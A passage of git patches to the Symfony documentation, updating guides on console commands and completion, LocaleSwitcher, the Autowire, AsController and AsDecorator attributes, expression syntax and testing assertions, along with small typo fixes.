         protected static $defaultName = 'app:create-user';
 
-        protected function configure(): void
-        {
-            // ...
-        }
-
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ... put here the code to create the user
@@ -74,37 +144,41 @@ want a command to create a user::
     The ``Command::INVALID`` constant was introduced in Symfony 5.3
 
 Configuring the Command
------------------------
+~~~~~~~~~~~~~~~~~~~~~~~
 
 You can optionally define a description, help message and the
-:doc:`input options and arguments </console/input>`::
+:doc:`input options and arguments </console/input>` by overriding the
+``configure()`` method::
 
-    // ...
-    // the command description shown when running "php bin/console list"
-    protected static $defaultDescription = 'Creates a new user.';
+    // src/Command/CreateUserCommand.php
 
     // ...
-    protected function configure(): void
+    class CreateUserCommand extends Command
     {
-        $this
-            // If you don't like using the $defaultDescription static property,
-            // you can also define the short description using this method:
-            // ->setDescription('...')
+        // the command description shown when running "php bin/console list"
+        protected static $defaultDescription = 'Creates a new user.';
 
-            // the command help shown when running the command with the "--help" option
-            ->setHelp('This command allows you to create a user...')
-        ;
+        // ...
+        protected function configure(): void
+        {
+            $this
+                // the command help shown when running the command with the "--help" option
+                ->setHelp('This command allows you to create a user...')
+            ;
+        }
     }
 
-Defining the ``$defaultDescription`` static property instead of using the
-``setDescription()`` method allows to get the command description without
-instantiating its class. This makes the ``php bin/console list`` command run
-much faster.
+.. tip::
+
+    Defining the ``$defaultDescription`` static property instead of using the
+    ``setDescription()`` method allows to get the command description without
+    instantiating its class. This makes the ``php bin/console list`` command run
+    much faster.
 
-If you want to always run the ``list`` command fast, add the ``--short`` option
-to it (``php bin/console list --short``). This will avoid instantiating command
-classes, but it won't show any description for commands that use the
-``setDescription()`` method instead of the static property.
+    If you want to always run the ``list`` command fast, add the ``--short`` option
+    to it (``php bin/console list --short``). This will avoid instantiating command
+    classes, but it won't show any description for commands that use the
+    ``setDescription()`` method instead of the static property.
 
 .. versionadded:: 5.3
 
@@ -144,7 +218,7 @@ available in the ``configure()`` method::
     }
 
 Registering the Command
------------------------
+~~~~~~~~~~~~~~~~~~~~~~~
 
 In PHP 8 and newer versions, you can register the command by adding the
 ``AsCommand`` attribute to it::
@@ -155,6 +229,8 @@ In PHP 8 and newer versions, you can register the command by adding the
     use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
 
+    // the "name" and "description" arguments of AsCommand replace the
+    // static $defaultName and $defaultDescription properties
     #[AsCommand(
         name: 'app:create-user',
         description: 'Creates a new user.',
@@ -176,8 +252,8 @@ If you can't use PHP attributes, register the command as a service and
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
-Executing the Command
----------------------
+Running the Command
+~~~~~~~~~~~~~~~~~~~
 
 After configuring and registering the command, you can run it in the terminal:
 
@@ -468,7 +544,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $application = new Application();
         $application->setAutoExit(false);
-        
+
         $tester = new ApplicationTester($application);
 
 .. note::
diff --git a/console/input.rst b/console/input.rst
index 3bbba7e5fce..efdacee2ce5 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -308,4 +308,91 @@ The above code can be simplified as follows because ``false !== null``::
     $yell = ($optionValue !== false);
     $yellLouder = ($optionValue === 'louder');
 
+Adding Argument/Option Value Completion
+---------------------------------------
+
+.. versionadded:: 5.4
+
+    Console completion was introduced in Symfony 5.4.
+
+If :ref:`Console completion is installed <console-completion-setup>`,
+command and option names will be auto completed by the shell. However, you
+can also implement value completion for the input in your commands. For
+instance, you may want to complete all usernames from the database in the
+``name`` argument of your greet command.
+
+To achieve this, override the ``complete()`` method in the command::
+
+    // ...
+    use Symfony\Component\Console\Completion\CompletionInput;
+    use Symfony\Component\Console\Completion\CompletionSuggestions;
+
+    class GreetCommand extends Command
+    {
+        // ...
+
+        public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void
+        {
+            if ($input->mustSuggestArgumentValuesFor('names')) {
+                // the user asks for completion input for the "names" option
+
+                // the value the user already typed, e.g. when typing "app:greet Fa" before
+                // pressing Tab, this will contain "Fa"
+                $currentValue = $input->getCompletionValue();
+
+                // get the list of username names from somewhere (e.g. the database)
+                // you may use $currentValue to filter down the names
+                $availableUsernames = ...;
+
+                // then add the retrieved names as suggested values
+                $suggestions->suggestValues($availableUsernames);
+            }
+        }
+    }
+
+That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing
+tab after typing ``app:greet Fa`` will give you these names as a suggestion.
+
+.. tip::
+
+    The bash shell is able to handle huge amounts of suggestions and will
+    automatically filter the suggested values based on the existing input
+    from the user. You do not have to implement any filter logic in the
+    command.
+
+    You may use ``CompletionInput::getCompletionValue()`` to get the
+    current input if that helps improving performance (e.g. by reducing the
+    number of rows fetched from the database).
+
+Testing the Completion script
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The Console component comes with a special
+:class:`Symfony\\Component\\Console\\Test\\CommandCompletionTester`` class
+to help you unit test the completion logic::
+
+    // ...
+    use Symfony\Component\Console\Application;
+
+    class GreetCommandTest extends TestCase
+    {
+        public function testComplete()
+        {
+            $application = new Application();
+            $application->add(new GreetCommand());
+
+            // create a new tester with the greet command
+            $tester = new CommandCompletionTester($application->get('app:greet'));
+
+            // complete the input without any existing input (the empty string represents
+            // the position of the cursor)
+            $suggestions = $tester->complete(['']);
+            $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
+
+            // complete the input with "Fa" as input
+            $suggestions = $tester->complete(['Fa']);
+            $this->assertSame(['Fabien', 'Fabrice'], $suggestions);
+        }
+    }
+
 .. _`docopt standard`: http://docopt.org/
diff --git a/page_creation.rst b/page_creation.rst
index a8d97aac618..af315b188c4 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -195,6 +195,13 @@ the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!
 
+.. tip::
+
+    If you are using the Bash shell, you can set up completion support.
+    This autocompletes commands and other input when using ``bin/console``.
+    See :ref:`the Console document <console-completion-setup>` for more
+    information on how to set up completion.
+
 .. _web-debug-toolbar:
 
 The Web Debug Toolbar: Debugging Dream

From 7f8345ffccbb069c04655a23064905c5e7df64be Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 18 Apr 2022 09:28:45 -0400
Subject: [PATCH 1818/5766] [Translation] document `LocaleSwitcher`

---
 translation.rst | 63 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)

diff --git a/translation.rst b/translation.rst
index 72741575376..9b1021948dd 100644
--- a/translation.rst
+++ b/translation.rst
@@ -827,6 +827,69 @@ checks translation resources for several locales:
     add the missing translation to the log file. For details,
     see :ref:`reference-framework-translator-logging`.
 
+Switch Locale Programmatically
+------------------------------
+
+.. versionadded:: 6.1
+
+    The ``LocaleSwitcher`` was introduced in Symfony 6.1.
+
+Sometimes you need to change the locale of the application dynamically
+just to run some code. Imagine a console command that renders Twig templates
+of emails in different languages. You need to change the locale only to
+render those templates.
+
+The ``LocaleSwitcher`` class allows you to change at once the locale
+of:
+
+* All the services that are tagged with ``kernel.locale_aware``;
+* ``\Locale::setDefault()``;
+* If a request is available, the ``_locale`` request attribute.
+
+.. code-block:: php
+
+    use Symfony\Component\Translation\LocaleSwitcher;
+
+    class SomeClass
+    {
+        private LocaleSwitcher $localeSwitcher;
+
+        public function __construct(LocaleSwitcher $localeSwitcher)
+        {
+            $this->localeSwitcher = $localeSwitcher;
+        }
+
+        public function someMethod()
+        {
+            // you can get the current application locale like this:
+            $currentLocale = $this->localeSwitcher->getLocale();
+
+            // you can set the locale for the entire application like this:
+            // (from now on, the application will use 'fr' (French) as the
+            // locale; including the default locale used to translate Twig templates)
+            $this->localeSwitcher->setLocale('fr');
+
+            // reset the current locale of your application to the configured default locale
+            // in config/packages/translation.yaml, by option 'default_locale'
+            $this->localeSwitcher->reset();
+
+            // you can also run some code with a certain locale, without
+            // changing the locale for the rest of the application
+            $this->localeSwitcher->runWithLocale('es', function() {
+
+                // e.g. render here some Twig templates using 'es' (Spanish) locale
+
+            });
+
+            // ...
+        }
+    }
+
+.. note::
+
+    The class :class:`Symfony\\Component\\Translation\\LocaleSwitcher` is
+    autowired to the ``translation.locale_switcher`` service.
+
 Translating Database Content
 ----------------------------
 

From 4c9291d7d364abeb7d507f681acca425dbc7f25e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 21 Apr 2022 13:48:04 +0200
Subject: [PATCH 1819/5766] Minor reword

---
 translation.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/translation.rst b/translation.rst
index 9b1021948dd..85d84a938fa 100644
--- a/translation.rst
+++ b/translation.rst
@@ -850,7 +850,7 @@ of:
 
     use Symfony\Component\Translation\LocaleSwitcher;
 
-    class SomeClass
+    class SomeService
     {
         private LocaleSwitcher $localeSwitcher;
 
@@ -885,10 +885,10 @@ of:
         }
     }
 
-.. note::
-
-    The class :class:`Symfony\\Component\\Translation\\LocaleSwitcher` is
-    autowired to the ``translation.locale_switcher`` service.
+When using :ref:`autowiring <services-autowire>`, type-hint any controller or
+service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
+class to inject the locale switcher service. Otherwise, configure your services
+manually and inject the ``translation.locale_switcher`` service.
 
 Translating Database Content
 ----------------------------

From 6e7b827d77a83bb606dc644eae78e31b2c374406 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 21 Apr 2022 14:06:12 +0200
Subject: [PATCH 1820/5766] No longer mention a deprecated interface

---
 security.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index e04a67e41a6..3db9857f17a 100644
--- a/security.rst
+++ b/security.rst
@@ -2503,9 +2503,10 @@ However, in some cases, this process can cause unexpected authentication problem
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 
-In that case, review the serialization logic (e.g. ``\Serializable`` interface) on
-you user class (if you have any) to make sure that all the fields necessary are
-serialized and also exclude all the fields not necessary to be serialized (relations).
+In that case, review the serialization logic (e.g. the ``__serialize()`` or
+``serialize()`` methods) on you user class (if you have any) to make sure
+that all the fields necessary are serialized and also exclude all the
+fields not necessary to be serialized (e.g. Doctrine relations).
 
 Comparing Users Manually with EquatableInterface
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From f32aec1dc00e15dcddb41e10a746959c22d8e971 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 18 Mar 2022 11:09:53 -0400
Subject: [PATCH 1821/5766] [DI][HttpKernel] document `Autowire` attribute

---
 controller.rst        | 41 ++++++++++++++++++++++++++++++++++-
 service_container.rst | 50 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 90 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index a7ddd67c3e9..c1510ba6896 100644
--- a/controller.rst
+++ b/controller.rst
@@ -153,7 +153,7 @@ and ``redirect()`` methods::
 
         // redirects to a route and maintains the original query string parameters
         return $this->redirectToRoute('blog_show', $request->query->all());
-        
+
         // redirects to the current route (e.g. for Post/Redirect/Get pattern):
         return $this->redirectToRoute($request->attributes->get('_route'));
 
@@ -286,6 +286,45 @@ in your controllers.
 
 For more information about services, see the :doc:`/service_container` article.
 
+Autowire Parameter Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+
+Services that cannot be autowired, :ref:`parameters <service-parameters>` and even
+:doc:`complex expressions </service_container/expression_language>` can be bound
+to a controller argument with the ``#[Autowire]`` attribute::
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    /**
+     * @Route("/lucky/number/{max}")
+     */
+    public function number(
+        int $max,
+
+        #[Autowire('@monolog.logger.request')]
+        LoggerInterface $logger,
+
+        #[Autowire('%kernel.project_dir%/data')]
+        string $dataDir,
+
+        #[Autowire('%kernel.debug%')]
+        bool $debugMode,
+
+        #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+        string $mailerMethod,
+    ): Response
+    {
+        $logger->info('We are logging!');
+        // ...
+    }
+
 Generating Controllers
 ----------------------
 
diff --git a/service_container.rst b/service_container.rst
index 6b6015a02e8..4e613c90708 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -687,6 +687,56 @@ For a full list of *all* possible services in the container, run:
 
 .. _services-binding:
 
+Autowire Parameter Attribute
+----------------------------
+
+.. versionadded:: 6.1
+
+    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+
+For services that cannot be autowired, you can use the ``#[Autowire]`` parameter
+attribute to explicitly configure the service::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire('@monolog.logger.request')] private LoggerInterface $logger
+        ) {
+        }
+        // ...
+    }
+
+The ``#[Autowire]`` can also be used for :ref:`parameters <service-parameters>` and even
+:doc:`complex expressions </service_container/expression_language>`::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire('%kernel.project_dir%/data')]
+            private string $dataDir,
+
+            #[Autowire('%kernel.debug%')]
+            private bool $debugMode,
+
+            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            private string $mailerMethod,
+        ) {
+        }
+        // ...
+    }
+
 Binding Arguments by Name or Type
 ---------------------------------
 

From 4c9fca9f965bfac543ad1b2cba0e7035629bd73b Mon Sep 17 00:00:00 2001
From: Chris Halbert <christopher.halbert@gmail.com>
Date: Thu, 21 Apr 2022 10:06:46 -0400
Subject: [PATCH 1822/5766] Provide note about php internals and lazy services

---
 service_container/lazy_services.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 7b33bcdfcac..a70b3358a84 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -27,6 +27,8 @@ until you interact with the proxy in some way.
 
     Lazy services do not support `final`_ classes.
 
+    Lazy services do not support default parameters for php internals, like ``PDO`` in releases prior to PHP 8.0.
+
 Installation
 ------------
 

From 81204c3ea610c867f20e27c0afb072212d627250 Mon Sep 17 00:00:00 2001
From: Sofien Naas <mytuny@outlook.com>
Date: Fri, 22 Apr 2022 01:18:59 +0100
Subject: [PATCH 1823/5766] [ExpressionLanguage] Feature Null-coalescing
 operator

---
 components/expression_language/syntax.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 9f0ace947b0..92a69b01642 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,6 +343,18 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Null-coalescing Operator
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is the same as the PHP's null-coalescing operator ``??`` which is a syntactic sugar for the use of a ternary 
+in conjunction with isset(). It returns the left hand-side if it exist and not ``null`` otherwise it returns the right hand-side.
+Note that coalescing can be chained.
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
 Built-in Objects and Variables
 ------------------------------
 

From d2f6b0dc92c0a3e7e549ad9f3421fbebcad05e9d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sun, 24 Apr 2022 17:31:20 +0200
Subject: [PATCH 1824/5766] [HttpKernel] Document AsController attribute

---
 controller/service.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/controller/service.rst b/controller/service.rst
index 017b99c61c1..f1fb3e6258b 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -28,6 +28,30 @@ in method parameters:
            resource: '../src/Controller/'
            tags: ['controller.service_arguments']
 
+.. versionadded:: 5.3
+
+    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
+
+If you are using PHP 8.0 or later, you can use the ``#[AsController]`` PHP
+attribute to automatically apply the ``controller.service_arguments`` tag to
+your controller services::
+
+    // src/Controller/HelloController.php
+    namespace App\Controller;
+
+    use Symfony\Component\HttpKernel\Attribute\AsController;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    #[AsController]
+    class HelloController
+    {
+        #[Route('/hello', name: 'hello', methods: ['GET'])]
+        public function index()
+        {
+            // ...
+        }
+    }
+
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.

From 4dcabf93524098c6315def69508a419a91a2689f Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin.dequippe@egerie.eu>
Date: Mon, 25 Apr 2022 10:27:45 +0200
Subject: [PATCH 1825/5766] Add caution message about reset container on each
 request

---
 testing.rst | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 914a2fccc82..51943e91cd8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -535,6 +535,14 @@ This allows you to create all types of requests you can think of:
     :ref:`framework.test <reference-framework-test>` option is enabled).
     This means you can override the service entirely if you need to.
 
+.. caution::
+
+    Before each request with the client, the client "resets" the container and recreates it from scratch.
+    That gives each request an "isolated" environment because each request will create new service objects.
+    But for example, when using the entity manager of Doctrine, all entities loaded with it are "lost"
+    when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want
+    to have entities in "valid state".
+
 Browsing the Site
 .................
 
@@ -898,16 +906,16 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')`` 
+``assertResponseIsUnprocessable(string $message = '')``
     Asserts the response is unprocessable (HTTP status is 422)
 
 .. versionadded:: 5.3
 
     The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
-    
+
 .. versionadded:: 5.4
 
-    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.   
+    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.
 
 Request Assertions
 ..................

From 89ecc0a53fd23a057f157f357eb4279d80a77d31 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Daniel=20Koz=C3=A1k?= <kozzi11@gmail.com>
Date: Mon, 25 Apr 2022 10:30:31 +0200
Subject: [PATCH 1826/5766] [Messenger] Fix typo in option name user->login

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 605561e39d5..c1eb7807f8a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1233,6 +1233,7 @@ The transport has a number of options:
                                               calls.
 ``host``                                      Hostname of the AMQP service
 ``key``                                       Path to the client key in PEM format.
+``login``                                     Username to use to connect the AMQP service
 ``password``                                  Password to use to connect to the AMQP service
 ``persistent``                                                                                   ``'false'``
 ``port``                                      Port of the AMQP service
@@ -1241,7 +1242,6 @@ The transport has a number of options:
                                               greater seconds. May be fractional.
 ``retry``
 ``sasl_method``
-``user``                                      Username to use to connect the AMQP service
 ``verify``                                    Enable or disable peer verification. If peer
                                               verification is enabled then the common name in
                                               the server certificate must match the server

From 18d9b7373006146508a98ed15dfed8ceaaed00af Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 25 Apr 2022 15:58:26 +0200
Subject: [PATCH 1827/5766] Use JsonResponse/BinaryFileResponse instead of
 Response

Use JsonResponse/BinaryFileResponse as return type when json/file methods are used
---
 controller.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/controller.rst b/controller.rst
index 1b2642c4063..e04bfd7a43d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -601,10 +601,10 @@ Returning JSON Response
 To return JSON from a controller, use the ``json()`` helper method. This returns a
 ``JsonResponse`` object that encodes the data automatically::
 
-    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     // ...
 
-    public function index(): Response
+    public function index(): JsonResponse
     {
         // returns '{"username":"jane.doe"}' and sets the proper Content-Type header
         return $this->json(['username' => 'jane.doe']);
@@ -623,10 +623,10 @@ Streaming File Responses
 You can use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::file`
 helper to serve a file from inside a controller::
 
-    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\BinaryFileResponse;
     // ...
 
-    public function download(): Response
+    public function download(): BinaryFileResponse
     {
         // send the file contents and force the browser to download it
         return $this->file('/path/to/some_file.pdf');
@@ -638,7 +638,7 @@ The ``file()`` helper provides some arguments to configure its behavior::
     use Symfony\Component\HttpFoundation\ResponseHeaderBag;
     // ...
 
-    public function download(): Response
+    public function download(): BinaryFileResponse
     {
         // load the file from the filesystem
         $file = new File('/path/to/some_file.pdf');

From 8cfd997854af1d5979350dc69b662a49ec623853 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Apr 2022 17:51:47 +0200
Subject: [PATCH 1828/5766] [Console] Remove some unneeded versionadded
 directives

---
 console.rst       | 4 ----
 console/input.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/console.rst b/console.rst
index d1c66031899..1d1e149afea 100644
--- a/console.rst
+++ b/console.rst
@@ -59,10 +59,6 @@ command, for instance:
 Console Completion
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.4
-
-    Console completion for Bash was introduced in Symfony 5.4.
-
 If you are using the Bash shell, you can install Symfony's completion
 script to get auto completion when typing commands in the terminal. All
 commands support name and option completion, and some can even complete
diff --git a/console/input.rst b/console/input.rst
index 9c1914500dd..36718199e6f 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -307,10 +307,6 @@ The above code can be simplified as follows because ``false !== null``::
 Adding Argument/Option Value Completion
 ---------------------------------------
 
-.. versionadded:: 5.4
-
-    Console completion was introduced in Symfony 5.4.
-
 If :ref:`Console completion is installed <console-completion-setup>`,
 command and option names will be auto completed by the shell. However, you
 can also implement value completion for the input in your commands. For

From 979bf2a1a4a201c73e12616672f1d837f633fb51 Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Thu, 21 Apr 2022 17:30:20 +0100
Subject: [PATCH 1829/5766] Fix tag attribute in event XML example

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3db9857f17a..ba1e521711b 100644
--- a/security.rst
+++ b/security.rst
@@ -2561,7 +2561,7 @@ for these events.
 
                     <service id="App\EventListener\CustomLogoutSubscriber">
                         <tag name="kernel.event_subscriber"
-                             dispacher="security.event_dispatcher.main"
+                             dispatcher="security.event_dispatcher.main"
                          />
                     </service>
                 </services>

From 74e617461f80fd4fbc44f46cbc048d29b8429936 Mon Sep 17 00:00:00 2001
From: Daniel Lima <yourwebmaker@gmail.com>
Date: Thu, 21 Apr 2022 20:01:55 +0200
Subject: [PATCH 1830/5766] Fix fetch method

---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index a1aa4291eb2..ab1947bd1bb 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -55,7 +55,7 @@ object::
     {
         public function index(Connection $connection): Response
         {
-            $users = $connection->fetchAll('SELECT * FROM users');
+            $users = $connection->fetchAllAssociative('SELECT * FROM users');
 
             // ...
         }

From 834839d2795bf492d46911d79ab1ce1f6e292a2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 09:35:45 +0200
Subject: [PATCH 1831/5766] Minor tweak

---
 security/custom_authenticator.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 773e31360b7..bc2f116bbc4 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -178,7 +178,8 @@ can define what happens in these cases:
 
 .. tip::
 
-    If your login method is interactive, which means that the user actively logged into your application, you may want your authenticator to implement the 
+    If your login method is interactive, which means that the user actively
+    logged into your application, you may want your authenticator to implement the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
     so that it dispatches an 
     :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`

From 555f7f35a3cd6f377f433d60328f88f24430c138 Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Thu, 21 Apr 2022 22:53:01 +0200
Subject: [PATCH 1832/5766] [DependencyInjection] Add as decorator and inner
 service

---
 service_container/service_decoration.rst | 87 ++++++++++++++++++++++++
 1 file changed, 87 insertions(+)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 3b369373072..0ef5ed08fc7 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -62,6 +62,20 @@ but keeps a reference of the old one as ``.inner``:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/DecoratingMailer.php
+        namespace App;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+
+        #[AsDecorator(decorates: Mailer::class)]
+        class DecoratingMailer
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -125,6 +139,28 @@ automatically changed to ``'.inner'``):
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/DecoratingMailer.php
+        namespace App;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+
+        #[AsDecorator(decorates: Mailer::class)]
+        class DecoratingMailer
+        {
+            private $inner;
+
+            public function __construct(#[MapDecorated] $inner)
+            {
+                $this->inner = $inner;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -249,6 +285,37 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
+        .. code-block:: php-attributes
+
+            // ...
+            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+
+            #[AsDecorator(decorates: Foo::class, priority: 5)]
+            class Bar
+            {
+                private $inner;
+
+                public function __construct(#[MapDecorated] $inner)
+                {
+                    $this->inner = $inner;
+                }
+                // ...
+            }
+
+            #[AsDecorator(decorates: Foo::class, priority: 1)]
+            class Baz
+            {
+                private $inner;
+
+                public function __construct(#[MapDecorated] $inner)
+                {
+                    $this->inner = $inner;
+                }
+
+                // ...
+            }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -324,6 +391,26 @@ Three different behaviors are available:
 
 .. configuration-block::
 
+        .. code-block:: php-attributes
+
+            // ...
+            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+            use Symfony\Component\DependencyInjection\ContainerInterface;
+
+            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+            class Bar
+            {
+                private $inner;
+
+                public function __construct(#[MapDecorated] $inner)
+                {
+                    $this->inner = $inner;
+                }
+
+                // ...
+            }
+
     .. code-block:: yaml
 
         # config/services.yaml

From f014bea1480666f6f4c15dd3cd8ac86af4172343 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 14:54:45 +0200
Subject: [PATCH 1833/5766] Add a versionadded directive

---
 service_container/service_decoration.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0ef5ed08fc7..a3d8b0acd36 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -126,6 +126,10 @@ but keeps a reference of the old one as ``.inner``:
                 ->decorate(Mailer::class);
         };
 
+.. versionadded:: 6.1
+
+    The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
+
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
 service replaces the ``App\Mailer`` service. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From 7fa9ced621c83692baf1b67a1a91b8abff0e736f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Apr 2022 16:08:29 +0200
Subject: [PATCH 1834/5766] [Translation] Improve the section about loaders

---
 .doctor-rst.yaml |  2 +-
 translation.rst  | 24 ++++++++++++++++--------
 2 files changed, 17 insertions(+), 9 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f578cb7b737..b5ae65b5fa3 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -11,7 +11,7 @@ rules:
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
